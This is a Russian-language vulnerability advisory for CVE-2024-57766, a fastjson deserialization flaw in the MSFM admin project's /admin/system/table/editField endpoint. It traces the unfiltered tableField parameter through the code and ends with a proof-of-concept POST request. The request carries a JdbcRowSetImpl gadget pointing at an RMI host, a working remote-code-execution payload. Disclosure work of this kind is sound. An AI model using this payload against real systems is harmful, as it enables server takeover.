CVE-2024-57766
Найдено лабораторией безопасности Chaitin Security Research Lab
Продукт с уязвимостью: wangl1989/MSFM
Версия продукта с уязвимостью: до версии 2025.01.01
Тип уязвимости: десериализация в fastjson
Детали уязвимости:
- Глобальный поиск объекта JSONObject. toJSONString найден по пути com/mysiteforme/admin/service/impl/TableServiceImpl.java: 170. Объект JSONObject. toJSONString принимает параметр tableField и преобразует его в строку JSON. Дальнейший анализ показывает, что эта операция выполняется в методе updateColumn(). Продолжаем отслеживание вызова этого метода.
- Отслеживание метода updateColumn() до уровня контроллеров, метод updateColumn() был вызван по пути com/mysiteform/admin/controller/system/TableController.java: 343 и получил параметр tableField. Анализ сверху вниз показывает, что параметр TableController.java: 301 получен при отправке запроса пользователем через путь /editField. Полностью процесс не фильтрует или экранирует параметр tableField. Поэтому параметр tableField управляемый, и здесь есть уязвимость десериализации в fastjson.

- Конструируем POC, входим в систему для захвата пакетов и замены cookies
http://127.0.0.1:8083
учётная запись: test/1
POST /admin/system/table/editField HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Cookie: XXX
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/a","autoCommit":true}}
